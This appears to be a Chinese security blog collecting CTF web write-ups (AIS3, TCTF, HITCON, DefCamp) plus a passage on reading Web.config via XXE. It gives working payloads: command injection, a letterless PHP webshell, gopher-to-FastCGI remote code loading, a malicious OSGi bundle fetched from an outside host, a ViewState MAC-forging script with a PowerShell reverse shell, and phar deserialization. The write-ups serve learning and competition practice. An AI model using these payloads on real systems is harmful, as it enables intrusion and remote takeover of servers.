172 .  22 .   0 .   3
 AC    16    00    03

在確定當前主機的 IP 為 172.22.0.3 後，簡單黑箱測試就可以馬上發現在隔壁的 172.22.0.2 有個奇怪的網頁服務，他接受一個參數 dir，然後會幫你印出資料夾的內容，有沒有覺得很像「ls -la」的指令結果？

沒錯，就是一個 Command Injection，只要 ?dir=';id;echo ' 就能注入成功。

查看 172.22.0.2 上的 index.php 原始碼，就能獲得第二把 flag。

3v4l

題目直接給了 PHP 原始碼，但是排版非常雜亂。

簡單手動重新排版後就能很明顯看到程式的邏輯，主要是會把傳進來的參數 $_GET['#'] 丟進 eval 執行，但是有幾個小限制：

• 不能有英文字母 (包括大、小寫)
• 不能超過 18 個字元

這道題目的目標很明確，就是相當於構造一個無字母的 WebShell，這就要用到 PHP 神奇特性，利用 PHP 的 ~ NOT 運算子，我們可以做到執行 (~%8C%86%8C%8B%9A%92)() (不可視字元顯示不出來，所以習慣用 url encode 來表示) 相當於執行 system()，因為 PHP 會先把 %8C%86%8C%8B%9A%92 的字串作 ~ NOT 後再呼叫該字串代表的函式。但因為題目限制不能超過 18 個字元，雖然用 system 有機會湊出剛剛好的指令，但沒有好用的完整 shell 實在痛苦 Q_Q

PHP 是很棒的語言，不是只有 system 函式可以執行系統指令，它自帶一個反引號的運算子可以執行系統指令：

echo `id`; // 執行 id 系統指令

更棒的是這個運算子還有 double evaluation 特性，如果你給的字串中有 $ 開頭的字或 ${變數名稱} 的字樣，它會先嘗試解析找出對應的變數，再把變數的值拿來當系統指令執行。

$a = 'id';
echo `$a`; // 執行 id 系統指令

更多的範例可以參考 PHP 官方文件：
Strings #Double quoted

總之我們可以利用前述的 NOT 運算子和反引號運算子的 double evaluation 特性，構造出以下 payload:

`{${~%A0%B8%BA%AB}[0]}`;

這個 payload 執行時，PHP 會先把 %A0%B8%BA%AB 字串作 NOT 運算得到 _GET，${~%A0%B8%BA%AB} 再去解析取得 $_GET 變數，之後變成像 {$_GET[0]} 取得 $_GET 陣列中 index 為 0 的值，最終把這個值當系統指令去執行。

所以只要在參數上給 ?0=id 就能輕鬆執行任何長度的系統指令並獲得 flag。

BabySSRF

題目就說明了一切，就是打 Server-Side Request Forgery。

可以嘗試用 dict:// 協定探測本機上其他 port 的服務，同時也能發現支援 gopher:// 協定可以發出任意 TCP 封包內容。

經過一些黑箱觀察，發現本機的 9000 port 是開啟的狀態，而這個 port 是 PHP-FPM 的預設 port，大概可以猜測是用 gopher:// 偽造 TCP 封包發給 PHP-FPM 執行。PHP-FPM 吃的是 FastCGI 的 protocol，一般我們可以側錄自己本機的封包再來透過 gopher 重送到目標上，但在這道題目中如果網址輸入超過 236 個字元會出現錯誤訊息：「Your url is too looooong! (max length: 236)」，一般側錄下來的都會超過這個字元數，勢必要客製化 payload 來縮短長度，雖然我們可以手動構造，但是封包結構要很精確，只要一個 byte 算錯就會失敗，對於手殘的我選擇借用這個 GitHub Repository: piaca/fcgi_exp 上的 fcgiclient 來完成構造 payload 的任務。

縮減 fcgiclient 的參數，最後只剩下：

env["PHP_VALUE"] = "allow_url_include=On\nauto_prepend_file=http://ip/a"
env["REQUEST_METHOD"] = "GET"

主要是將 allow_url_include 重新設置為 on，再透過 auto_prepend_file=http://ip/a 去載入遠端的 PHP 程式碼執行。

在本地 nc 一個 port 來接收 FastCGI 的封包，再讓 fcgiclient 往這個 port 上送。

我在自己的伺服器上準備了一個 PHP 程式碼的檔案，內容是呼叫系統指令用 perl 執行一段 Reverse Shell 回到我自己的主機。

用 gopher:// 重新包裝 FastCGI 封包內容送過去，記得要多送幾次讓配置生效才能順利執行。

沒意外就會順利拿到 Reverse Shell，接著看看根目錄的檔案列表，發現 /flag 的檔案，可是設定成只有 root 可以讀取。

同時發現有個 setuid 的 binary 叫 /readflag 並且有給原始碼 /readflag.c，本以為可以直接執行那個 binary 拿 flag，結果居然還要輸入一個加法算式的答案，而且顯示後讓你輸入的時間極為短暫，幾乎不可能心算完手動輸入 XD

個人學藝不精，只知道最簡單暴力的方式，用 PHP 寫了一個程式讀取 /readflag 輸出然後計算答案再輸入給它。

執行後終於能獲得 flag。

以上就是今年 pre-exam 的所有 web 題目了。
雖然我既不是學員也不是工人，但還是祝大家都能在今年的 AIS3 玩得愉快 XDD

太久沒寫文章，快速記錄一次簡單的 Web 題目。

題目敘述如下：

Do you know ghost pepper? Let's eat. http://111.186.63.207:31337

點開網頁出現授權要求視窗，網站訊息提示:「karaf」，直覺猜預設帳密 karaf/karaf，即可成功通過授權驗證。

但是進去後，頁面顯示 HTTP 404，快速猜測一些常見路徑都無果。

回想起題目敘述提到「ghost pepper」，丟到 Google 搜尋，第一筆結果為維基百科「Bhut jolokia - Wikipedia」，Bhut Jolokia 是一種稱為印度鬼椒的辣椒。

於是嘗試輸入網址 http://111.186.63.207:31337/jolokia，出現了一串 JSON 資料。

看來是個 Jolokia 的服務，關於 Jolokia 的介紹可以參考官方文件或是可以在網路上找到一些中文翻譯資料。

• Jolokia - Reference Documentation
• Jolokia - 参考手册
• Jolokia 教程 - part1（翻译）

對於 Jolokia 曾經有些 CVE 可以直接 RCE，但這題目的版本已經修復了。

• Remote Code Execution via JNDI injection
  CVE-2018-1000130
• Exploiting Jolokia Agent with Java EE Servers

所以需要尋找新方向，可以先使用 http://111.186.63.207:31337/jolokia/list 列出能操作的 MBean，也許會找到些有趣的 Operation。

其中有個 MBean org.apache.karaf:name=root,type=bundle 下的 Operation install 吸引到了我的注意，似乎可以讓我安裝一個 OSGi Bundle (jar file)。

關於 OSGi、karaf、bundle 可參考：

• 那位仁兄能解释一下什么是OSGi，还有Karaf | SDNLAB知识社区
• OSGi - Wikipedia

首先嘗試是否支援 HTTP 協定到遠端伺服器抓取 Bundle (jar) 檔案。

POST /jolokia HTTP/1.1
Host: 111.186.63.207:31337
Connection: close
Content-Type: application/json
Content-Length: 181
Authorization: Basic a2FyYWY6a2FyYWY=

{
    "type" : "exec",
    "mbean" : "org.apache.karaf:name=root,type=bundle",
    "operation": "install(java.lang.String)",
    "arguments": ["http://ip/gg.jar"]
}

成功收到一個 HTTP 請求，確實支援且看來沒有對外連線的限制。

接著就可以開始撰寫惡意的 bundle (jar) 檔，我參考了此篇文章 Hello, OSGi, Part 1: Bundles for beginners，用 Eclipse 快速建立了一個 OSGi Bundle example，接著在 Activator.java 中的 void start(BundleContext context) 寫入一個 Reverse Shell 的程式碼，這個函式將會在 Bundle 被 start 時呼叫。

Reverse Shell 參考：
GitHubGist - caseydunham/C.java

將撰寫好的 Bundle 匯出成單獨的 jar 檔，再次呼叫 org.apache.karaf:name=root,type=bundle 的 install 進行安裝，可以看到下圖中，目標伺服器成功來抓取到 jar 檔案，接著回覆了安裝好的 Bundle 的 id 為 94。

最後只要呼叫 org.apache.karaf:name=root,type=bundle 的 start 啟動該 Bundle，就能順利收到 Reverse Shell。

POST /jolokia HTTP/1.1
Host: 111.186.63.207:31337
Connection: close
Content-Type: application/json
Content-Length: 135
Authorization: Basic a2FyYWY6a2FyYWY=

{
    "type" : "exec",
    "mbean" : "org.apache.karaf:name=root,type=bundle",
    "operation": "start",
    "arguments": ["94"]
}

最終得到 flag 是 flag{DOYOULOVEJOLOKIA?ILOVEITVERYMUCH}

Why so Serials? 是由 Orange 在前陣子剛結束的 HITCON CTF 2018 出的一道 Web 題目，題目架設在 Windows/IIS，其功能只有一個頁面 Default.aspx，題目有提供原始碼，現在可以在 Orange 的 GitHub 上找到。

該頁面有提供一個上傳功能，但幾乎阻擋了所有可能直接 RCE 的副檔名。

String[] blacklists = {".aspx", ".config", ".ashx", ".asmx", ".aspq", ".axd", ".cshtm", ".cshtml", ".rem", ".soap", ".vbhtm", ".vbhtml", ".asa", ".asp", ".cer"};
if (blacklists.Any(extension.Contains)) {
    Label1.Text = "What do you do?";
}

首先來觀察一下上傳檔案發出的 Request，可以發現有啟用 __VIEWSTATE 並且沒有加密。當 Request/Response 中的 __VIEWSTATE 是未加密時，Burp Suite 會嘗試 parse 它並把資訊顯示在一個標籤頁之中。

若有不知道 View State 的朋友可以參考微軟官網的介紹：Understanding ASP.NET View State

一件有趣的事實是 __VIEWSTATE 所儲存的是 Serialized Data，再加上題目有 Serials 關鍵字，大致可以確定是打 __VIEWSTATE 的 Deserialization。針對 ASP.NET 的 Deserialization，國外大神 pwntester 開發了一個很棒的開源專案 ysoserial.net，可以自動產出很多漂亮的 Gadget，目標當然就是 RCE。

先嘗試修改 __VIEWSTAET 的值確認是否能任意竄改，我嘗試一個簡單的文字 Payload

理所當然是失敗了，畢竟是 Orange 所出的題目，不可能如此單純。但讓我們仔細看一下錯誤訊息：

Validation of viewstate MAC failed. If this application is hosted by a Web Farm or cluster, ensure that <machineKey> configuration specifies the same validationKey and validation algorithm. AutoGenerate cannot be used in a cluster.

會出現這段錯誤訊息的原因是 ASP.NET 在 __VIEWSTATE 有作 MAC (Message Authentication Code) 的檢查，合法才會進行 Deserialize，我們都知道 MAC 的檢查一定是和某個藏在伺服器端的 Key 有所關連。在 ASP.NET 的環境下，儲存這把 Key 的項目稱為 Machine Key。

至於這 Machine Key 該如何獲得呢？題目設計了一個關鍵，前面上傳檔案時檢查的副檔名列表遺漏了一個格式是 .shtml，這個格式支援了一個稱作 Server Side Include 的 feature，透過這個 feature 讓我們可以進行任意讀檔甚至有直接 RCE 的可能，這也是題目預期的解法。

保險起見，讓我們先嘗試直接 RCE 的 Payload，果不其然失敗，exec 沒有啟用。

payload.shtml
<!--#exec cmd="whoami" -->

接著嘗試讀取 web.config。

payload.shtml:
<!--#include file="..\..\web.config" -->

真棒！是我們朝思暮想的 Machine Key。

<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.web>
<customErrors mode="Off"/>
    <machineKey validationKey="b07b0f97365416288cf0247cffdf135d25f6be87" decryptionKey="6f5f8bd0152af0168417716c0ccb8320e93d0133e9d06a0bb91bf87ee9d69dc3" decryption="DES" validation="MD5" />
</system.web>
</configuration>

現在有了 Machine Key 和 RCE Deserialization Gadget，還差最後一個問題，究竟 MAC 是如何產生以及驗證的呢？我上網翻閱了一些公開資料，但沒有找到相關的文章。值得慶幸的是，在很早之前微軟有將 .NET Framework 開源，所以我們可以很容易去追出實作這塊的程式邏輯。這邊我參考的程式碼是 .NET 4.7.2 的版本。

讓我們先從進入點開始，ASP.NET 要將物件進行 Serialize 儲存到 __VIEWSTATE 之中是依靠函式 ObjectStateFormatter.Serialize(object stateGraph)。我們可以很明顯看見第 798 行的註解有 EnableViewStateMac 關鍵字，並且註解下方呼叫的函式會傳入 Serialized Data 的 Binary Buffer 並取得新的 Buffer，所以可以推測實作邏輯應該是在 MachineKeySection.GetEncodedData(buffer, GetMacKeyModifier(), 0, ref length) 裡面。

File: ndp\fx\src\xsp\system\Web\UI\ObjectStateFormatter.cs
756: /// <devdoc>
757: /// Serializes an object graph into a textual serialized form.
758: /// </devdoc>
759: public string Serialize(object stateGraph) {
760:     // If the developer called Serialize() manually on an ObjectStateFormatter object that was configured
761:     // for cryptographic operations, he wouldn't have been able to specify a Purpose. We'll just provide
762:     // a default value for him.
763:     return Serialize(stateGraph, Purpose.User_ObjectStateFormatter_Serialize);
764: }
765: 
766: private string Serialize(object stateGraph, Purpose purpose) {
767:     string result = null;
768: 
769:     MemoryStream ms = GetMemoryStream();
770:     try {
771:         Serialize(ms, stateGraph);
772:         ms.SetLength(ms.Position);
773: 
774:         byte[] buffer = ms.GetBuffer();
775:         int length = (int)ms.Length;
776: 
777: #if !FEATURE_PAL // FEATURE_PAL does not enable cryptography
778:         // We only support serialization of encrypted or encoded data through our internal Page constructors
779: 
780:         if (AspNetCryptoServiceProvider.Instance.IsDefaultProvider && !_forceLegacyCryptography) {
781:             // If we're configured to use the new crypto providers, call into them if encryption or signing (or both) is requested.
782: 
783:             if (_page != null && (_page.RequiresViewStateEncryptionInternal || _page.EnableViewStateMac)) {
784:                 Purpose derivedPurpose = purpose.AppendSpecificPurposes(GetSpecificPurposes());
785:                 ICryptoService cryptoService = AspNetCryptoServiceProvider.Instance.GetCryptoService(derivedPurpose);
786:                 byte[] protectedData = cryptoService.Protect(ms.ToArray());
787:                 buffer = protectedData;
788:                 length = protectedData.Length;
789:             }
790:         }
791:         else {
792:             // Otherwise go through legacy crypto mechanisms
793: #pragma warning disable 618 // calling obsolete methods
794:             if (_page != null && _page.RequiresViewStateEncryptionInternal) {
795:                 buffer = MachineKeySection.EncryptOrDecryptData(true, buffer, GetMacKeyModifier(), 0, length);
796:                 length = buffer.Length;
797:             }
798:             // We need to encode if the page has EnableViewStateMac or we got passed in some mac key string
799:             else if ((_page != null && _page.EnableViewStateMac) || _macKeyBytes != null) {
800:                 buffer = MachineKeySection.GetEncodedData(buffer, GetMacKeyModifier(), 0, ref length);
801:             }
802: #pragma warning restore 618 // calling obsolete methods
803:         }
804: 
805: #endif // !FEATURE_PAL
806:         result = Convert.ToBase64String(buffer, 0, length);
807:     }
808:     finally {
809:         ReleaseMemoryStream(ms);
810:     }
811:     return result;
812: }

繼續跟進 MachineKeySection.GetEncodedData(byte[] buf, byte[] modifier, int start, ref int length)。第 800 行透過 HashData 函式取得一個 Hash 值，第 803 ~ 815 行則會將這個 Hash 值附加到原本 Buffer 的尾部。但是這邊的 HashData 需要的參數除了原 buf 以外還多一個 modifier，不過先不用急著找 modifier 定義的位置，讓我們先跟進 MachineKeySection.HashData(byte[] buf, byte[] modifier, int start, int length)。

File: ndp\fx\src\xsp\system\Web\Configuration\MachineKeySection.cs
791: // NOTE: When encoding the data, this method *may* return the same reference to the input "buf" parameter
792: // with the hash appended in the end if there's enough space.  The "length" parameter would also be
793: // appropriately adjusted in those cases.  This is an optimization to prevent unnecessary copying of
794: // buffers.
795: [Obsolete(OBSOLETE_CRYPTO_API_MESSAGE)]
796: internal static byte[] GetEncodedData(byte[] buf, byte[] modifier, int start, ref int length)
797: {
798:     EnsureConfig();
799: 
800:     byte[] bHash = HashData(buf, modifier, start, length);
801:     byte[] returnBuffer;
802: 
803:     if (buf.Length - start - length >= bHash.Length)
804:     {
805:         // Append hash to end of buffer if there's space
806:         Buffer.BlockCopy(bHash, 0, buf, start + length, bHash.Length);
807:         returnBuffer = buf;
808:     }
809:     else
810:     {
811:         returnBuffer = new byte[length + bHash.Length];
812:         Buffer.BlockCopy(buf, start, returnBuffer, 0, length);
813:         Buffer.BlockCopy(bHash, 0, returnBuffer, length, bHash.Length);
814:         start = 0;
815:     }
816:     length += bHash.Length;
817: 
818:     if (s_config.Validation == MachineKeyValidation.TripleDES || s_config.Validation == MachineKeyValidation.AES) {
819:         returnBuffer = EncryptOrDecryptData(true, returnBuffer, modifier, start, length, true);
820:         length = returnBuffer.Length;
821:     }
822:     return returnBuffer;
823: }

第 857 行判斷如果 config 裡的 Machine Key 設定 Validation 是 MD5，則呼叫 HashDataUsingNonKeyedAlgorithm(null, buf, modifier, start, length, s_validationKey)，根據先前 SSI 所得到的 web.config，程式應該會進入這一段流程中，繼續跟進 MachineKeySection.HashDataUsingNonKeyedAlgorithm(HashAlgorithm hashAlgo, byte[] buf, byte[] modifier, int start, int length, byte[] validationKey)。

File: ndp\fx\src\xsp\system\Web\Configuration\MachineKeySection.cs
852: [Obsolete(OBSOLETE_CRYPTO_API_MESSAGE)]
853: internal static byte[] HashData(byte[] buf, byte[] modifier, int start, int length)
854: {
855:     EnsureConfig();
856: 
857:     if (s_config.Validation == MachineKeyValidation.MD5)
858:         return HashDataUsingNonKeyedAlgorithm(null, buf, modifier, start, length, s_validationKey);
859:     if (_UseHMACSHA) {
860:         byte [] hash = GetHMACSHA1Hash(buf, modifier, start, length);
861:         if (hash != null)
862:             return hash;
863:     }
864:     if (_CustomValidationTypeIsKeyed) {
865:         return HashDataUsingKeyedAlgorithm(KeyedHashAlgorithm.Create(_CustomValidationName),
866:                                             buf, modifier, start, length, s_validationKey);
867:     } else {
868:         return HashDataUsingNonKeyedAlgorithm(HashAlgorithm.Create(_CustomValidationName),
869:                                                 buf, modifier, start, length, s_validationKey);
870:     }
871: }

第 1219 行依據原 buf 長度加上 validationKey 長度和 modifier 長度得到 totalLength，並分配一個長度為 totalLength 的 byte[] 陣列 bAll，第 1222 行先將原 Buffer 複製到 bAll 從位置 0 開始放置，第 1224 行會將 modifier 複製到 bAll 從位置 length 開始放置，這邊神奇的事情就發生了，第 1226 行將 validationKey 複製到 bAll 時居然又是從位置 length 開始放置，換句話說，如果 validationKey 長度大於等於 modifier 長度的話，validationKey 將會完整把 modifier 覆蓋過去。而 modifier 取得的地方是在最初 ObjectStateFormatter.Serialize(object stateGraph, Purpose purpose) 的第 800 行呼叫的 GetMacKeyModifier() 函式，長度固定會回傳 4 bytes，顯然這道題目的 validationKey 是足夠長到能覆蓋它。繼續往下看到第 1231 行，呼叫 UnsafeNativeMethods.GetSHA1Hash 傳入 bAll 獲得最終的 MAC Hash 值，但可惜這個函式是 Native，所以沒有乾淨的 Source Code，經過幾次簡單黑箱嘗試會發現，這個函式雖然名為 GetSHA1Hash，但其實是障眼法，它並不只會回傳 SHA1 Hash，在此處它還會回傳 MD5 的 Hash 值。

File: ndp\fx\src\xsp\system\Web\Configuration\MachineKeySection.cs
1216: private static byte[] HashDataUsingNonKeyedAlgorithm(HashAlgorithm hashAlgo, byte[] buf, byte[] modifier,
1217:                                                         int start, int length, byte[] validationKey)
1218: {
1219:     int     totalLength = length + validationKey.Length + ((modifier != null) ? modifier.Length : 0);
1220:     byte [] bAll        = new byte[totalLength];
1221: 
1222:     Buffer.BlockCopy(buf, start, bAll, 0, length);
1223:     if (modifier != null) {
1224:         Buffer.BlockCopy(modifier, 0, bAll, length, modifier.Length);
1225:     }
1226:     Buffer.BlockCopy(validationKey, 0, bAll, length, validationKey.Length);
1227:     if (hashAlgo != null) {
1228:         return hashAlgo.ComputeHash(bAll);
1229:     } else {
1230:         byte[] newHash = new byte[MD5_HASH_SIZE];
1231:         int hr = UnsafeNativeMethods.GetSHA1Hash(bAll, bAll.Length, newHash, newHash.Length);
1232:         Marshal.ThrowExceptionForHR(hr);
1233:         return newHash;
1234:     }
1235: }

總結一下 __VIEWSTATE 的流程，先將物件 Serialize 成一串 Binary 資料，將這串 Serialized Binary Data 尾巴附加上 Validation Key 和 modifier 的 Binary 資料，但因為 modifier 會被 Validation Key 覆蓋，所以實際上是 Serialized Binary Data 加 Validation Key Binary 加 0x00000000 (modifier 被覆蓋但 4 bytes 空間還在，預設都是 0)。最後依據這串 Binary 作 MD5 拿到 MAC Hash，把 MAC Hash 添加到最初的 Serialized Binary Data 作 Base64 Encode，就可以得到簽章過合法的 __VIEWSTATE！

簡單表示算法如下：

MAC_HASH = MD5(serialized_data_binary + validation_key + 0x00000000 )
VIEWSATE = Base64_Encode(serialized_data_binary + MAC_HASH)

最後得出的 PoC：

#!/usr/bin/env python3
import hashlib
import base64


'''
Generate PowerShell reverse shell command
> powershell "[Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes('$c=New-Object Net.Sockets.TCPClient(''127.0.0.1'',6666);$s=$c.GetStream();[byte[]]$bytes=0..65535|%{0};while(($i=$s.Read($bytes, 0, $bytes.Length)) -ne 0){;$d=(New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sb=(iex $d 2>&1 | Out-String );$sb2=$sb+''PS ''+(pwd).Path+''> '';$sb=([Text.Encoding]::Default).GetBytes($sb2);$s.Write($sb,0,$sb.Length);$s.Flush()};$c.Close()'))"

Generate deserialization gadget by ysoserial.net
https://github.com/pwntester/ysoserial.net
> ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "powershell -nop -enc {reverse shell command}"
'''
serialized_data = '{base64 encoded serialized data from ysoserial}'
payload = base64.b64decode(serialized_data)

# Get machine key by uploading .shtml file (Server Side Include)
validation_key = bytes.fromhex('b07b0f97365416288cf0247cffdf135d25f6be87')

'''
MAC_Hash = MD5(serialized_data_binary + validation_key + 0x00000000 )

Simple stack trace to get MAC Hash:
System.Web.UI.ObjectStateFormatter.Serialize(object stateGraph, Purpose purpose)
    MachineKeySection.GetEncodedData(byte[] buf, byte[] modifier, int start, ref int length)
        MachineKeySection.HashData(byte[] buf, byte[] modifier, int start, int length)
            HashDataUsingNonKeyedAlgorithm(HashAlgorithm hashAlgo, byte[] buf, byte[] modifier, int start, int length, byte[] validationKey)
                UnsafeNativeMethods.GetSHA1Hash(byte[] data, int dataSize, byte[] hash, int hashSize);
'''
mac = hashlib.md5(payload + validation_key + b'\x00\x00\x00\x00').digest()
payload = base64.b64encode(payload + mac).decode()
print(payload)

讓我們立刻送送看 Payload，發現跳出不一樣的錯誤訊息！

成功收到 Reverse Shell 的連線，並在 C:\this_1s_the_FL@g.txt 找到 FLAG 是 hitcon{c0ngratulati0ns! you are .net king!}！

References:

• ysoserial.net
• .NET serialiception
• Understanding ASP.NET View State
• OWASP - Server-Side Includes (SSI) Injection
• BlackHat - Friday the 13th: JSON Attacks by Alvaro Muñoz and Oleksandr Mirosh
• Microsoft - .NET Framework Reference Source

Vulture 是一道出現在 DefCamp CTF Qualification 2018 屬於 Web 類型的題目。這題很有趣，雖然是黑箱但不用通靈、猜謎，整道題可以透過各種蛛絲馬跡有邏輯性地推敲並串出完整漏洞利用來解題。

題目敘述如下：

We created an online service where you can upload pictures of vultures (or other birds). Each user has a feed so you can privately enjoy the photos you took of this majestic killing machines :) 
Target: https://vulture.dctfq18.def.camp/
Author: Anatol

點進網頁後，右上方可以發現有個 Login 按鈕，但沒有 Register 按鈕，點 Login 進入到登入表單的頁面時注意到網址是 /auth/login，那直接修改成 /auth/register 就會跳出註冊表單了。

• 登入：https://vulture.dctfq18.def.camp/auth/login
• 註冊：https://vulture.dctfq18.def.camp/auth/register

登入後發現服務就如敘述般單純，可以上傳圖片加簡單文字敘述，上傳後的圖片都會被條列在 /feed 頁面上。

最初當然是要對服務進行一些資訊收集，過程中發現一個有趣的現象，當請求不存在的路徑(例如：/asd)時，伺服器會有如以下的反應：

GET /asd HTTP/1.1
Host: vulture.dctfq18.def.camp

HTTP/1.1 200 OK
Date: Mon, 24 Sep 2018 06:48:23 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 55
Connection: keep-alive
Server: CoffeeHackingMachine 13.37
X-XSS-Protection: 1; mode=block
Strict-Transport-Security: max-age=31536000
X-Frame-Options: sameorigin
X-Content-Type-Options: nosniff

Exception: AsdController handler class cannot be loaded

所以上面的 Exception 資訊透露出甚麼？如果將那串 Exception 訊息丟上 Google Search 可以發現，這個訊息是因為一套名為 Phalcon 的 PHP framework 找不到相對應負責處理該路徑請求的 class 所噴出來的錯誤，所以表示這個網站應該就是由 Phalcon 撰寫而成。

首先對上傳圖片的部分進行一些 fuzz，上傳的流程是經過 POST /feed/upload 將圖片上傳至伺服器上，伺服器再回傳檔案的網址路徑，結果是感覺機會不大，因為會先嚴格檢查副檔名，取副檔名後加上流水號的主檔名作為上傳後的完整檔名，並且還會檢查二進制內容是否有以允許的任一種圖片類型的 Magic Number 開頭，譬如 GIF 的 GIF87a 就是白名單之一。

這就是一個上傳成功的圖片網址：
https://vulture.dctfq18.def.camp/uploads/5ba7c28447e19.png

接著對 /feed 新增的部分開始作 fuzz，因為題目敘述中有提及「you can privately enjoy the photos」，雖然說明是 privately，但難以保證不會有小精靈在偷看你上傳的所有圖片，於是我就順手測試一下是否有 XSS 的可能性。

對 /feed 新增的 API 請求如下：

POST /feed HTTP/1.1
Host: vulture.dctfq18.def.camp
Content-Type: application/x-www-form-urlencoded
Content-Length: 89
Cookie: PHPSESSID=bips9g67d33adc7ptrur9f03e2

image=uploads/5ba7c28447e19.png&text=description

測試結果是過濾得很好，應該是不會有要打 XSS 的可能性。除了排除掉一個思考方向以外，還發現一個有趣的特性，假如 image 給一個不存在的圖片路徑，發出 POST 請求後回到 /feed 頁面會多出一個提示訊息：

<div class="alert alert-danger" role="alert">
    Image not found
</div>

根據這個訊息，直覺認為繼續在 image 參數挖掘下去應該有很大的機會，所以就繼續針對這個參數作了一連串 fuzz，發現有一下幾種關鍵的反應：

一開始有在猜想打 SSRF 的可能性，但最後 5 條測試結果封掉了這條路。測試完看起來是存在 file system 上 Path Traversal 的問題，其中一條 uploads/aaaa/../5ba7c28447e19.png 讓我特別感興趣，因為這個結果是 Linux file system 的行為導致，在 Linux 下即使你後方有 ../ 但前方的路徑是一個不存在的資料夾，file system 還是會返回 No such file or directory，可以自行在自己的主機上測試指令 ls -la /etc/aaaa/../。

綜合以上的測試結果，可以猜想伺服器端可能是透過 PHP 中類似 file_exists 的函數對檔案存在進行檢查。

這邊要提到一件有趣的事實，若使用的是 PHP file_exists 函數，這個函數可以接受使用 phar:// Stream Wrapper，在 Seebug Paper 中有一篇文章 利用 phar 拓展 php 反序列化漏洞攻击面 中就有替我們測試並整理出 PHP 中可以接受 phar:// 的所有 file system 相關函數。

嘗試生成一個 phar 檔案，利用上傳圖片功能上傳至伺服器上，這邊必須用 setStub 添加 GIF89a 在 phar 檔案的開頭，才能通過最前面上傳圖片時的檢查限制。

<?php
@unlink('phar.phar');
$p = new Phar('phar.phar');
$p->startBuffering();
$p->setStub("GIF89a<?php xxx; __HALT_COMPILER();?>");
$p->addFromString("test.txt", "test");
$p->stopBuffering();

上傳成功後嘗試在 /feed 進行新增，不同的是 image 改使用 phar:// 去引入上傳的 gif 檔案，結果是在 /feed 新增成功！

POST /feed HTTP/1.1
Host: vulture.dctfq18.def.camp
Content-Type: application/x-www-form-urlencoded
Content-Length: 59
Cookie: PHPSESSID=bips9g67d33adc7ptrur9f03e2

image=phar://uploads/5ba897805da92.gif/test.txt&text=asdasd

現在我們可以使用 phar:// 去引入檔案，然後呢？接續剛剛的事實，PHP 的 Phar 物件有個方法叫做 setMetadata，他可以在產生出的 phar 檔案中塞入一個 PHP 物件序列化後的資料，這個序列化的資料會在下次使用 phar:// 去引入 phar 檔案時被反序列化，這個事實在我知道的範圍內，最早是在 HITCON 2017 Quals 中的一道由 Orange 所出的 Web 題目 Baby^H Master PHP 2017 出現的利用。

終於我們有了一個 blind unserialize 漏洞，可是又該如何利用？記得先前 fuzz 有發現後端是使用 Phalcon framework 撰寫的嗎？有一個開源的專案叫做 phpggc，裡面收集了一些常見 PHP framework 的通用 unserialize gadget chain，其中一項就是：

NAME           VERSION    TYPE   VECTOR     I
Phalcon/RCE1   <= 1.2.2   rce    __wakeup   *

總之先打下去再說！我個人比較偷懶，所以直接修改 phpggc/gadgetchains/Phalcon/RCE/1/chain.php 這個檔案，在 generate 函數裡把產出的 gadget chain 的物件包進 Phar 寫進一個 phar.phar 檔案裡頭。

public function generate(array $parameters)
{
    @unlink('phar.phar');
    $p = new Phar('phar.phar');
    $p->startBuffering();
    $p->setStub("GIF89a<?php xxx; __HALT_COMPILER();?>");
    $p->addFromString("test.txt", "test");
    $p->setMetadata(new \Phalcon\Logger\Adapter\File());
    $p->stopBuffering();
    return new \Phalcon\Logger\Adapter\File();
}

生成好 phar.phar 改副檔名為 gif 丟上伺服器，再用 phar:// 引入。嗯？好像有奇怪的訊息跑出來了。

可以看一下 phpggc 的 Phalcon RCE gadget chain 是如何串的，看起來是會進到一個 \Phalcon\Mvc\View\Engine\Php 的 class，再走到裡面有一行 require path;，而 phpggc 提供的 gadget 會代入 php://input 的值給 path 參數。

所以只要在 POST Body 上寫入 PHP Code，就能順利 RCE 了！

最後的 flag！

DCTF{fe2361512d671c3770c35c24f122a5d9cc3b5c43884058cb87942336e07c7f86}

XXE (XML External Entity Injection) 是個對 Server 端很強力的攻擊手法，可以進而實現 Server-Side Request Forgery、Arbitrary File Read 的利用。雖然可以利用 XXE 讀取一些較簡單的私密的 config、key 檔案，但若想讀取內含 XML 使用的特殊字元 (例如: >, <) 的檔案，就會產生一些問題。今天分享其中一個如何利用 XXE 讀取 Web.config 的小技巧。

在 ASP.NET 的環境下，Web.config 是用來控制針對 ASP.NET Application 設定的重要檔案，內容通常都含有極為重要的資訊，比如可能會存放對資料庫的 Connection String、傳輸時加解密所使用的 Key，而 Web.config 內容是採用 XML 的格式。

接下來的測試都會使用下面一個簡單的 Web.config:

<?xml version="1.0" encoding="UTF-8"?>
<configuration>
    <appSettings/>
    <connectionStrings/>
    <system.web>
    <compilation debug="true"/>
        <customErrors mode="Off" />
        <pages validateRequest="false" />
        <httpRuntime requestValidationMode="2.0" />
    </system.web>
    <!-- I am comment -->
</configuration>

從上面可以看出，Web.config 就是一個標準的 XML 格式，若想使用一般的 XXE Payload 去讀取就可能產生問題，會得不到預期的結果。

接下來的測試環境都會使用下面一個簡單、粗糙的 ASP.NET 程式進行測試。

<%@ Page Language="C#"%>
<%@ Import Namespace="System" %>
<%@ Import Namespace="System.Xml" %>
<%
    XmlDocument doc = new XmlDocument();
    String data = Request.Params["data"];
    doc.LoadXml(data);
    XmlNode node = doc.SelectSingleNode("/root/name");
    Response.Write(node.InnerText);
%>

這個程式很單純地將傳入的 data 參數內容丟入 XmlDocument 作解析，再將 <root /> 元素下的 <name /> 的文字資料吐出來，未禁止 External Entity。

首先嘗試利用 External Entity 讀取 C:\Windows\win.ini，因為是簡單的文字檔案，很順利地讀取成功。

接著嘗試讀取 C:\inetpub\wwwroot\Web.config，看起來能正常讀取，但卻沒有內容。

原因出在輸出 <name /> 的內容時是使用 node.InnerText，即使我們成功引入 Web.config，但資訊都是放置在各個 Element 的 Attributes 中，而 InnerText 僅會輸出文字資料，並不包含 Element 本身的 Tag name 和 Attributes。

此時就可以利用 XML 中的 CDATA Section 將 Web.config 完整地讀取出來。在 CDATA Section 中，XML 解析器不會嘗試將 <、> 等字元作解析，會當作純粹的文字資料。

試著在 CDATA 中嵌入 <、> 字元，可以看到 <foo>bar</foo> 被完整地輸出了。

